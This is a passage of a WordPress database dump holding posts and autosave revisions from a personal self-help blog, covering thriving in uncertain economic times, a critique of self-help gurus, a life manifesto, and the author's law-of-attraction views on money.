overstated, sensationalized point of view. I am not suggesting that the media does not accurately report the facts.  I am simply suggesting that the media amplifies the insecurity of the situation, and in many ways, is a distorted and biased lens that does not support a more balanced and neutral assessment of our current circumstances.  It is far better for you to trust your own inner wisdom about your financial circumstances and not let any outside influences breed more uncertainty in your life. Do yourself a favor and go on a media fast.\n\n<strong>Think about others, not yourself.</strong>\n\nUncertainty and fear drives people into an isolated point of view.  A more useful approach is to focus on the areas of your life where you can be of value to others. Find ways to help instill confidence and light into people’s lives. This shifts your energy into a more useful vibration and puts you in a place of wisdom and service. Others will sense your confidence, steadfastness and contribution and this will take the focus off your own worry. In turn, you become a source of inspiration to others and the value you bring to them increases.\n<strong>\nFocus on current opportunities and forget the future.</strong>\n\nThere is no future out there. Everything that is happening is happening now. There is always room, in any situation, for a better idea. Think about how, in your current circumstances, you can create new opportunities to do things differently. You might find any number of things to improve in your present situation that will set you up nicely for when things turn around–which they inevitably will do. You may take this time to learn new skills, develop greater financial disciplines, align your life priorities in a direction that serves you. This puts you in a position of strength and removes the illusion of weakness and powerlessness. There is always opportunity in every circumstance. Your power to create a result resides here and now. Forget the future.\n\n<strong>Focus on creating more rewarding relationships.</strong>\n\nIn uncertain times, it is natural to worry about the commodity of our jobs, products, and businesses. We may put a great deal of worry into how vulnerable and replaceable we may be. In uncertain times, it is more useful to strengthen your relationships with people– your employer, your customer, your family, your community.  By putting energy into the practice of strengthening all your relationships, you will add greater value to the people around you. In turn, the value of what you have to offer the world is increased.\n\n<strong>Focus on what is available to you now, not what’s missing.</strong>\n\nUncertainty has a way of putting your focus on lack and limitation.  When things adversely change around us, we tend to fixate on what is no longer available to us. A more useful strategy is to put your focus on what resources are available now. What skills, talents and inspired ideas can you use right now. Resourcefulness is a great discipline in times of uncertainty, and the results prove more powerful when things turn positive again.  You have, whether you know it or not, all the resources within you to prosper no matter the outer circumstances. This idea is very empowering and puts you in a higher state of mind to be inspired to think of better, bigger ideas about creating value. Work with every resource at your disposal and your confidence and faith will grow.\n\n<strong>You can’t control anything, don’t waste your precious energy trying</strong>.\n\nRegardless of what is happening in the world, you can’t control people, places or things. You can, however, control your responses to the events in your own life. Everything is a choice. Choosing to respond in a manner that serves you is a useful skill. There’s nothing like adversity to sharpen this life skill. In any circumstance, everyone has to make a basic decision: complain and bitch, or engage life with more creativity and ingenuity. It is always your choice. Life will always be full of surprises, twists, turns– it’s always going to be something. Change just is. In the light of your own inspired thought, you will soon recognize the freedom of just letting things outside yourself be and trust that, underneath it, all is well.\n\n<strong>Always be in gratitude</strong>.\n\nThis is the most important strategy you can employ in tough, uncertain times. No matter how bad it is, there is ALWAYS something in your life for which you can be grateful… start with the fact that you are still alive and able to play the game of life! A feeling of lack and limitation cannot exist within a mind that is focused on being grateful. Gratitude is an amazing tool for your best thinking to emerge and your results to transform your life.', 'Ideas for thriving in uncertain times.', 0, 'No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios. Everything and everyone seems to be...\n', 'inherit', 'open', 'open', '', '20-autosave', '', '', '2009-07-09 17:07:43', '2009-07-10 00:07:43', '', 20, 'http://www.whitehotcenter.com/20-autosave', 0, 'revision', '', 0),
(20, 2, '2008-10-13 09:01:22', '2008-10-13 16:01:22', '<img class="size-full wp-image-124 alignleft" title="71555675" src="http://whc.fbdev.org/wp-content/uploads/2008/10/rowinstorm.jpg" alt="71555675" width="273" height="187" />\r\n<h2><span style="color: #ff6600;">No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios.  Everything and everyone seems to be at risk. Indeed, these are uncertain times, and for many people, there is a great deal of anxiety over this economic turmoil. Many people feel powerless and are at a loss to cope. There are however ways in which you can thrive in the midst of all this uncertainty. Here are several simple ideas I would like to suggest you consider that may help you weather the current stormy seas our world finds itself in right now.</span></h2>\r\n<strong>Take a media fast.</strong>\r\n\r\nDon’t listen to the radio, watch the television news or read the newspapers. This may sound a little over-simplified, but the truth is the media amplifies the inherent fear people have in this situation. Most of what goes on in the media is hype and overstatement. The media business is based on creating an overstated, sensationalized point of view. I am not suggesting that the media does not accurately report the facts.  I am simply suggesting that the media amplifies the insecurity of the situation, and in many ways, is a distorted and biased lens that does not support a more balanced and neutral assessment of our current circumstances.  It is far better for you to trust your own inner wisdom about your financial circumstances and not let any outside influences breed more uncertainty in your life. Do yourself a favor and go on a media fast.\r\n\r\n<strong>Think about others, not yourself.</strong>\r\n\r\nUncertainty and fear drives people into an isolated point of view.  A more useful approach is to focus on the areas of your life where you can be of value to others. Find ways to help instill confidence and light into people’s lives. This shifts your energy into a more useful vibration and puts you in a place of wisdom and service. Others will sense your confidence, steadfastness and contribution and this will take the focus off your own worry. In turn, you become a source of inspiration to others and the value you bring to them increases.\r\n<strong>\r\nFocus on current opportunities and forget the future.</strong>\r\n\r\nThere is no future out there. Everything that is happening is happening now. There is always room, in any situation, for a better idea. Think about how, in your current circumstances, you can create new opportunities to do things differently. You might find any number of things to improve in your present situation that will set you up nicely for when things turn around–which they inevitably will do. You may take this time to learn new skills, develop greater financial disciplines, align your life priorities in a direction that serves you. This puts you in a position of strength and removes the illusion of weakness and powerlessness. There is always opportunity in every circumstance. Your power to create a result resides here and now. Forget the future.\r\n\r\n<strong>Focus on creating more rewarding relationships.</strong>\r\n\r\nIn uncertain times, it is natural to worry about the commodity of our jobs, products, and businesses. We may put a great deal of worry into how vulnerable and replaceable we may be. In uncertain times, it is more useful to strengthen your relationships with people– your employer, your customer, your family, your community.  By putting energy into the practice of strengthening all your relationships, you will add greater value to the people around you. In turn, the value of what you have to offer the world is increased.\r\n\r\n<strong>Focus on what is available to you now, not what’s missing.</strong>\r\n\r\nUncertainty has a way of putting your focus on lack and limitation.  When things adversely change around us, we tend to fixate on what is no longer available to us. A more useful strategy is to put your focus on what resources are available now. What skills, talents and inspired ideas can you use right now. Resourcefulness is a great discipline in times of uncertainty, and the results prove more powerful when things turn positive again.  You have, whether you know it or not, all the resources within you to prosper no matter the outer circumstances. This idea is very empowering and puts you in a higher state of mind to be inspired to think of better, bigger ideas about creating value. Work with every resource at your disposal and your confidence and faith will grow.\r\n\r\n<strong>You can’t control anything, don’t waste your precious energy trying</strong>.\r\n\r\nRegardless of what is happening in the world, you can’t control people, places or things. You can, however, control your responses to the events in your own life. Everything is a choice. Choosing to respond in a manner that serves you is a useful skill. There’s nothing like adversity to sharpen this life skill. In any circumstance, everyone has to make a basic decision: complain and bitch, or engage life with more creativity and ingenuity. It is always your choice. Life will always be full of surprises, twists, turns– it’s always going to be something. Change just is. In the light of your own inspired thought, you will soon recognize the freedom of just letting things outside yourself be and trust that, underneath it, all is well.\r\n\r\n<strong>Always be in gratitude</strong>.\r\n\r\nThis is the most important strategy you can employ in tough, uncertain times. No matter how bad it is, there is ALWAYS something in your life for which you can be grateful… start with the fact that you are still alive and able to play the game of life! A feeling of lack and limitation cannot exist within a mind that is focused on being grateful. Gratitude is an amazing tool for your best thinking to emerge and your results to transform your life.', 'Ideas for thriving in uncertain times.', 0, 'No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios. Everything and everyone seems to be...\r\n', 'publish', 'open', 'open', '', 'ideas-for-thriving', '', '', '2009-07-09 17:06:36', '2009-07-10 00:06:36', '', 0, 'http://www.whitehotcenter.com/2008/10/ideas-for-thriv.html', 0, 'post', '', 7),
(23, 2, '2008-09-14 14:07:05', '2008-09-14 21:07:05', '<h2 style="color: #ff9933;">Gurus are everywhere in the self-help universe. Unlike, science, medicine, accounting, law and a host of other professions where there are significant barriers to entry, Self-Help Gurus are coming out of the woodwork in amazing numbers. Like acting, making it big as a self-help guru is mostly centered in the presentation style of ideas. It''s mostly shtick.  Have an idea and an audience and you are in business. Marketing is at the heart of any Guru movement, but it seems particularly prevalent and most essential to Self-Help Gurus. The self-help movement has grown to become a multi-billion dollar industry. It is big business. The web has provided the perfect venue for this explosive growth.</h2>\r\nNow I don''t have anything against self-help gurus, their content or their business models per se.  Having studied the work of many of these so-called experts for nearly 10 years now, much of what they blather about is essentially all the same stuff.  My concern is centered in the "snake-oil-carnival-barker" nature of how these people present themselves to the world. Most of it is, in my opinion, useless crap pretending to be the wisdom of the ages finally revealed. ( the "Secret" comes to mind.) If only life were that simple that all we need to do is think it and it will be so.  PT Barnum''s immortal words "there''s a sucker born every minute" seems to have extra significance here.  The law of attraction, visualization, and a host of other manifestation techniques are the stable diet for the poor masses who want to be rich...it''s easy for people to  buy into the "you can have anything you want" if only you change your negative thinking. These Gurus are smart marketers, nothing more. Having spent 30 years in marketing, "I knows it when I sees it"...\r\n\r\nThis blog is my own attempt at sharing a point of view about creating success in all areas of your life. And I believe that one can always be learning to grow and expand the quality of life''s experience. But growth and expansion in life is not a destination, it is a life-long process. There is no right technique or school of thought that has all the answers made simple... for $49.95\r\n\r\nIn my own life, I have had to learn every lesson the hard way–through my own experience. Of course I wish that I would have had more mentors and teachers along the way, but life itself is the great mentor and teacher, but only if you are paying attention. Most of us simply get in our own way because we believe more in the compelling reality of our current limitations than the possibility of a life experience without limits. We don''t believe in the unseen forces that govern the nature of physical reality.\r\n\r\nFor those people searching for a method to create more in life, I humbly offer mine for FREE:\r\n<ul>\r\n	<li>you must have a deep understanding, belief and connection to your life''s purpose. All life-purposes seem to share a common attribute... serving others by using our unique gifts and talents.</li>\r\n	<li>you must have a vision about the expression of your life''s gift''s that is fueled by a passion (love) that is never-ending and always improving, growing and expanding. What is your "ideal scene"? Write it down in detail.</li>\r\n	<li>you must have the discipline to be accountable for your results. You create every circumstance in your life. If you don''t like your results, you must acknowledge the Truth of it, and begin new actions that are more in line with your purpose and your vision... this is a tough one for most people... many "fall off the wagon" here because they simply don''t know what they really want out of life.</li>\r\n	<li>you must "allow" your life to unfold in an easy and relaxed manner. Nothing in nature is forced to express itself. The same is true for you and your inspired ideas. Chill out and let go of all resistance.</li>\r\n	<li>you must be profoundly grateful and in full appreciation of EVERYTHING in your life right NOW. This is the biggest key to happiness and abundance.</li>\r\n</ul>\r\nI''m no Guru... I don''t have a following and I am not charging money for the wisdom I have accured and share here. Mentors and teachers, whatever their form are useful indeed... but you must be the creative force in your life. No tape, no seminar, no Guru will make that journey for you. Creative living is an inside out process. You can discover it all by yourself, if you allow your mind to be still. I would like to suggest that you give my method some serious consideration and reflection. It only takes a human being 30 days to create or break a habit... try it and see if you don''t notice a shift in your awareness. And as always, please share your comments here.', 'Too many Gurus...', 0, 'Gurus are everywhere in the self-help universe. Unlike, science, medicine, accounting, law and a host of other professions where there are significant barriers to entry, Self-Help Gurus are coming out of the woodwork in amazing numbers. Like acting, making it...\r\n', 'publish', 'open', 'open', '', 'self-help-weird', '', '', '2009-04-03 19:13:05', '2009-04-04 02:13:05', '', 0, 'http://www.whitehotcenter.com/2008/09/self-help-weird.html', 0, 'post', '', 0),
(98, 1, '2009-06-23 18:49:18', '2009-06-24 01:49:18', 'Everyone might benefit from writing a manifesto... a public declaration of principals that guide your actions in the world, and create an authentic identity around who you are, what you do with your life and how it matters to people. For me, this is a public declaration of the most important principals that guide my participation in life. I run all my thinking and decision-making through this filter.\n\nMy manifesto is the result of everything I have learned about living so far. It is a clear statement of what guides me to the grandest expression of all I am capable of and all I desire. I share mine as a reference point for you to think about crafting your own manifesto. When you have completed it to your satisfaction, display it in a public place where you and others can read it on a regular basis.\n<h2 style="color: #bf5f00;">Thomson Dawson:\nA manifesto for living an extraordinary life.</h2>\n<ol>\n	<li>as you think, so it is</li>\n	<li>know what you want, be open for something better.</li>\n	<li>what you do must matter to you and others</li>\n	<li>start with what’s at hand</li>\n	<li>as you live in your days, you craft your futue</li>\n	<li>embrace simplicity</li>\n	<li>the best idea is the one you think can’t be done</li>\n	<li>be differnet, make a difference</li>\n	<li>provide more use value than you get in cash value</li>\n	<li>create / design experiences people love</li>\n	<li>people are more important than money</li>\n	<li>really listen</li>\n	<li>intuition over conventional wisdom</li>\n	<li>daydream often</li>\n	<li>focus on the important, handle the urgent</li>\n	<li>forget what you know</li>\n	<li>beware of comfort</li>\n	<li>leadership is service in disguise</li>\n	<li>to thine own self be true, no exceptions</li>\n	<li>play on the edges</li>\n	<li>give thanks, give back.</li>\n</ol>\nWhat inspired me to share my own Manifesto here on the WHC, was the result of an encounter with a brilliant woman named <a href="http://www.whitehottruth.com">Danielle Laporte</a>. Check her out and I highly recommend you engaging in her Firestarter Sessions. You''ll be glad that you did!', 'My White Hot Center Manifesto', 0, 'Everyone might benefit from writing a manifesto... a public declaration of principals that guide your actions in the world, and create an authentic identity around who you are, what you do with your life and how it matters to people....\n', 'inherit', 'open', 'open', '', '11-autosave', '', '', '2009-06-23 18:49:18', '2009-06-24 01:49:18', '', 11, 'http://www.whitehotcenter.com/11-autosave', 0, 'revision', '', 0),
(24, 2, '2008-08-29 16:03:55', '2008-08-29 23:03:55', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2008/08/money.gif"><img class="alignleft size-full wp-image-685" title="money" src="http://whc.fbdev.org/wp-content/uploads/2008/08/money.gif" alt="money" width="184" height="194" /></a>Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed.\r\n\r\n</span></h2>\r\nAfter many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.  In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.\r\n\r\nIn my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!  What is it– really?  Why is it important?  How do we get and keep more of it?\r\n<h2><span style="color: #ff6600;">Let’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?  Well that’s bullshit. Money is important!</span></h2>\r\nAnother misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.  Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing.\r\n\r\nAt a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.\r\n<h2><span style="color: #ff6600;">It is important to love people, use money… and not get that in reverse.</span></h2>\r\nIndeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.  For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">"The Science of Getting Rich"</a>. Don''t let the title turn you off.  I know the internet is bloated with self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.\r\n\r\nEverybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.  My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.\r\n<h2><span style="color: #ff6600;">Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money?</span></h2>\r\nNot to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.  On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.  Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:\r\n<ul>\r\n	<li>There’s never enough money.</li>\r\n	<li>Rich people have all the money.</li>\r\n	<li>You got to have money to make money.</li>\r\n	<li>I’m not good with money.</li>\r\n	<li>People with money are just plain lucky.</li>\r\n</ul>\r\nOur beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind.\r\n<h2><span style="color: #ff6600;">Your experience of poverty or abundance is a result of your thought.</span></h2>\r\nEveryone worries about money from time to time. I‘ve learned from my own personal experience worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.  The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought.\r\n\r\n<strong>I would like to suggest that if you desire more money:</strong>\r\n<ul>\r\n	<li><strong>remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.</strong></li>\r\n	<li><strong>create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.</strong></li>\r\n	<li><strong>be in love with your worthy ideal, hold the image of it in your creative imagination.</strong></li>\r\n	<li><strong>make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.</strong></li>\r\n	<li><strong>never allow the evidence of your current circumstances in the physical world to overpower your belief  that what you desire is on its way to you.</strong></li>\r\n</ul>\r\nIf you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.  We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.  Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet.\r\n<h2><span style="color: #ff6600;">Exact laws of creation govern the universe–and so it is with the creation of money.</span></h2>\r\nAnd one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude.\r\n\r\n<strong>Money in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.</strong>', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\r\n', 'publish', 'open', 'open', '', 'money-money-money', '', '', '2010-02-28 14:41:20', '2010-02-28 21:41:20', '', 0, 'http://www.whitehotcenter.com/2008/08/money-money-mon.html', 0, 'post', '', 1),
(96, 1, '2009-04-03 19:14:26', '2009-04-04 02:14:26', '<h2 style="color: #ff9933;">Gurus are everywhere in the self-help universe. Unlike, science, medicine, accounting, law and a host of other professions where there are significant barriers to entry, Self-Help Gurus are coming out of the woodwork in amazing numbers. Like acting, making it big as a self-help guru is mostly centered in the presentation style of ideas. It''s mostly shtick.  Have an idea and an audience and you are in business. Marketing is at the heart of any Guru movement, but it seems particularly prevalent and most essential to Self-Help Gurus. The self-help movement has grown to become a multi-billion dollar industry. It is big business. The web has provided the perfect venue for this explosive growth.</h2>\nNow I don''t have anything against self-help gurus, their content or their business models per se.  Having studied the work of many of these so-called experts for nearly 10 years now, much of what they blather about is essentially all the same stuff.  My concern is centered in the "snake-oil-carnival-barker" nature of how these people present themselves to the world. Most of it is, in my opinion, useless crap pretending to be the wisdom of the ages finally revealed. ( the "Secret" comes to mind.) If only life were that simple that all we need to do is think it and it will be so.  PT Barnum''s immortal words "there''s a sucker born every minute" seems to have extra significance here.  The law of attraction, visualization, and a host of other manifestation techniques are the stable diet for the poor masses who want to be rich...it''s easy for people to  buy into the "you can have anything you want" if only you change your negative thinking. These Gurus are smart marketers, nothing more. Having spent 30 years in marketing, "I knows it when I sees it"...\n\nThis blog is my own attempt at sharing a point of view about creating success in all areas of your life. And I believe that one can always be learning to grow and expand the quality of life''s experience. But growth and expansion in life is not a destination, it is a life-long process. There is no right technique or school of thought that has all the answers made simple... for $49.95\n\nIn my own life, I have had to learn every lesson the hard way–through my own experience. Of course I wish that I would have had more mentors and teachers along the way, but life itself is the great mentor and teacher, but only if you are paying attention. Most of us simply get in our own way because we believe more in the compelling reality of our current limitations than the possibility of a life experience without limits. We don''t believe in the unseen forces that govern the nature of physical reality.\n\nFor those people searching for a method to create more in life, I humbly offer mine for FREE:\n<ul>\n	<li>you must have a deep understanding, belief and connection to your life''s purpose. All life-purposes seem to share a common attribute... serving others by using our unique gifts and talents.</li>\n	<li>you must have a vision about the expression of your life''s gift''s that is fueled by a passion (love) that is never-ending and always improving, growing and expanding. What is your "ideal scene"? Write it down in detail.</li>\n	<li>you must have the discipline to be accountable for your results. You create every circumstance in your life. If you don''t like your results, you must acknowledge the Truth of it, and begin new actions that are more in line with your purpose and your vision... this is a tough one for most people... many "fall off the wagon" here because they simply don''t know what they really want out of life.</li>\n	<li>you must "allow" your life to unfold in an easy and relaxed manner. Nothing in nature is forced to express itself. The same is true for you and your inspired ideas. Chill out and let go of all resistance.</li>\n	<li>you must be profoundly grateful and in full appreciation of EVERYTHING in your life right NOW. This is the biggest key to happiness and abundance.</li>\n</ul>\nI''m no Guru... I don''t have a following and I am not charging money for the wisdom I have accured and share here. Mentors and teachers, whatever their form are useful indeed... but you must be the creative force in your life. No tape, no seminar, no Guru will make that journey for you. Creative living is an inside out process. You can discover it all by yourself, if you allow your mind to be still. I would like to suggest that you give my method some serious consideration and reflection. It only takes a human being 30 days to create or break a habit... try it and see if you don''t notice a shift in your awareness. And as always, please share your comments here.', 'Too many Gurus...', 0, 'Gurus are everywhere in the self-help universe. Unlike, science, medicine, accounting, law and a host of other professions where there are significant barriers to entry, Self-Help Gurus are coming out of the woodwork in amazing numbers. Like acting, making it...\n', 'inherit', 'open', 'open', '', '23-autosave', '', '', '2009-04-03 19:14:26', '2009-04-04 02:14:26', '', 23, 'http://www.whitehotcenter.com/23-autosave', 0, 'revision', '', 0),
(94, 1, '2010-02-28 14:42:29', '2010-02-28 21:42:29', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2008/08/money.gif"><img class="alignleft size-full wp-image-685" title="money" src="http://whc.fbdev.org/wp-content/uploads/2008/08/money.gif" alt="money" width="184" height="194" /></a>Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed.\n\n</span></h2>\nAfter many years of doing nothing but earning Money in my business, I had seemingly lost my compass heading and began to drift aimlessly in my dilemma about Money.  In the life long process of earning Money, somewhere along the line, I got confused and blended my self worth with my net worth. Not good... The less money I created, the less I valued who I am in the world. I believed my influence to create what I desired in life was based in large part on my financial affluence.\n\nIn my year of blogging here at the WHC, I have not written a post about money. And in light of these so-called “hard times” we hear about now, the subject of money seems to be on everyone’s minds. OK, so let’s talk about money, money, and money!  What is it– really?  Why is it important?  How do we get and keep more of it?\n<h2><span style="color: #ff6600;">Let’s start with a prevalent misconception concerning money – many believe that money isn’t important. How many times have you been in conversation with a person who says ”money isn’t everything” or, “I’m not doing this or that for the money”, or “I don’t care about money”?  Well that’s bullshit. Money is important!</span></h2>\nAnother misconception is the belief that the acquisition of money is a result of good luck or favorable circumstances. More bullshit.  Money is an effect and, therefore, must be preceded by a cause– most notably passionate effort and disciplined action! There is no place in the universe where you can get something for nothing.\n\nAt a functional level, Money is a grand organizing principle in the physical world facilitating the basis of both mundane and complex transactions of value between human beings– no news there. Far more important, in my view, is the notion that Money is a powerful symbol and effect of creative thought… money is the exhaust that follows worthy ideas that add great value to people.\n<h2><span style="color: #ff6600;">It is important to love people, use money… and not get that in reverse.</span></h2>\nIndeed, Money is very important and not very well understood by most people. Look around; it’s easy see the global turmoil people create over money.  For an interesting point of view on Money, you might read Wallace Wattles'' <a href="http://www.certainway.com">"The Science of Getting Rich"</a>. Don''t let the title turn you off.  I know the internet is bloated with self-help-get rich quick crap... Written nearly a century ago, Wally offers some fascinating insight into unusual principals of money and wealth creation.\n\nEverybody wants to be rich, but so few of us really know what “real wealth” is. For most of my adult life, I had been clueless myself.  My beliefs about money, had determined the quality of my relationship with money. In my case, I knew how to create it, but struggled to keep and grow it. There’s an old saying in the investment world “money goes where it’s treated best”.\n<h2><span style="color: #ff6600;">Our thoughts and beliefs about money determine the direction and quantity of its flow. Money needs to believe we are a solid investment if it is to grow in our lives. And if we don’t believe we are a solid investment, why should Money?</span></h2>\nNot to get too deep into physics here, but everything in the universe is, at its basic form, energy. Energy is always coming in and out of form. Existence is literally floating in an ocean of energy. I like to call this “the goo”.  On the quantum level, this goo is a “thinking substance” essentially waves and particles, or formless potential.  Quantum physics further suggests what one desires to observe (a wave or particle) becomes what is observed. By now you are asking yourself “what’s this have to do with money”? Well, everything! What comes into physical form is determined by the thought energy one injects into the goo. When it comes to money, many people unconsciously put these thoughts into the goo:\n<ul>\n	<li>There’s never enough money.</li>\n	<li>Rich people have all the money.</li>\n	<li>You got to have money to make money.</li>\n	<li>I’m not good with money.</li>\n	<li>People with money are just plain lucky.</li>\n</ul>\nOur beliefs and paradigms about money are simply a reflection of the beliefs we have about ourselves. If we have programmed into our subconscious mind to believe we are not valuable, our ideas not worthy, our circumstances too impossible, money believes it too! Few of us pause to think deeply about this idea. What you think into the formless goo naturally comes into form as the circumstances of your life. How much or how little Money shows up in your life is a reflection of how much or how little you think about your value to others. You must begin to realize that the present state of your bank account, business, social life, relationships, health and well being is a physical manifestation of your previous state of mind.\n<h2><span style="color: #ff6600;">Your experience of poverty or abundance is a result of your thought.</span></h2>\nEveryone worries about money from time to time. I‘ve learned from my own personal experience worrying about the lack of money is the absolute guaranteed way to continue to experience having less of the stuff.  The higher truth is we are always surrounded by abundance. Nature knows no failure or lack of anything. If one is determined to create more money in life, one must begin to have greater awareness of the unseen forces that respond to our every thought.\n\n<strong>I would like to suggest that if you desire more money:</strong>\n<ul>\n	<li><strong>remember your life’s purpose– the reason you are here in the first place. Commit yourself to following that path by adding your gifts to the world.</strong></li>\n	<li><strong>create a magnificent vision – a clear mental image of what you want your life to look like. Write it down as your “ideal scene” and read it daily, hourly if necessary.</strong></li>\n	<li><strong>be in love with your worthy ideal, hold the image of it in your creative imagination.</strong></li>\n	<li><strong>make a plan, set some goals and take daily action toward the realization of the clear mental image of your vision.</strong></li>\n	<li><strong>never allow the evidence of your current circumstances in the physical world to overpower your belief  that what you desire is on its way to you.</strong></li>\n</ul>\nIf you really take the time to think this through, (as I did) you will begin to realize that everything in the physical world was at one time a formless thought–an idea. All accomplishment in life begins with a worthy ideal– a formless idea.  We would not have air travel if flight were not first an idea in the minds of the Wright Brothers. Apple would not exist if it were not a formless clear mental image in Steve Jobs mind. And so it is with you and your worthy ideal.  Visualize the Money you desire and feel yourself in possession of it now. This is not merely a mental exercise, but a powerful tool for you to use in the creative process of bringing into form a worthy idea that adds great value to people. Indeed, one must always provide greater use value than is received in cash value if you want to experience being a powerful money magnet.\n<h2><span style="color: #ff6600;">Exact laws of creation govern the universe–and so it is with the creation of money.</span></h2>\nAnd one more very important key to creating money– regardless of how much is currently noted on your bank statement, be grateful! Whatever that amount, it could be less or none at all… be grateful for everything in your life. It is impossible to experience poverty, lack and limitation when your thoughts are laser-focused on gratitude.\n\n<strong>Money in and of itself never made anyone happy and fulfilled… just more comfortable. Money is to be used, circulated, released, and never hoarded. Money is a servant and you are its master.</strong>', 'Money, money, money!', 0, 'Over the past year and half, I have had an on-going issue about Money. I have worried obsessively about earning it, saving it, investing it, and sharing it… my thoughts about Money have been stressful indeed. No wonder its flow...\n', 'inherit', 'open', 'open', '', '24-autosave', '', '', '2010-02-28 14:42:29', '2010-02-28 21:42:29', '', 24, 'http://www.whitehotcenter.com/24-autosave', 0, 'revision', '', 0);
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(26, 2, '2007-12-17 11:40:00', '2007-12-17 18:40:00', 'I have got my eyes on the horizon and I am looking out on my bigger, better future. This year, 2007, has been a most challenging year. I can’t truthfully say that I have been the least bit comfortable, satisfied or especially happy this year. But I have been, and continue to be, grateful for everything that has happened in this past year\r\n\r\nMy gratitude gives me pause for reflection and a little quiet time to ponder my progress towards the goals I have set for myself, and to marvel at the process of creating them. Hopefully this will add a little value to your planning on what you would like to create for yourself in the year ahead.\r\n\r\nI have heard it said the definition of success is the “on-going realization of a worthy ideal”.  As I think about this definition, the key phrase for me is “on-going”.  Which is the same as saying never give up on your good idea. This has been my year for planting good ideas in the quantum field… or, as I like to call it, “the goo of creation”.  I am delighted to report that I have new ideas that excite me to a level where I know I will not give up on them, no matter what!  At the beginning of this year, I made a decision to get off my ass and start crafting an exciting vision for where I want to take my life, and develop a plan of action that I believe in completely.\r\n\r\nThis year was my new start… my "do-over"... a defining moment in the course of my life. Now twelve months later, I can perceive that I am moving in a more harmonious vibration toward my goals, attracting to me all manner of people and circumstances that are in alignment with my getting what I want. I know for some, this sounds like re-hashed self-help mumbo-jumbo. But honestly, this was my year of awakening from years of embracing the bad habit of being too comfortable with the status quo. I realized I was not growing, my business had actually dried-up, my relationships were strained, my enthusiasm for anything evaporated in the drought of negativity I had so comfortably got in the habit of embracing.  Things in my life were beginning to die… including me. My state of depression was overwhelming at times. I was not happy about started over at the very bottom in mid-life. The challenge of looking up and out of the hole I found myself in towards a bigger, better future seemed quite impossible.\r\n\r\nThis year I planted new seeds in the field of possibility. And I have been rain dancing in that field all year in belief that the rains will come in abundance, and new results will grow from my new ideas.  Like all things in nature, the principals that guide creating what you want are simple and 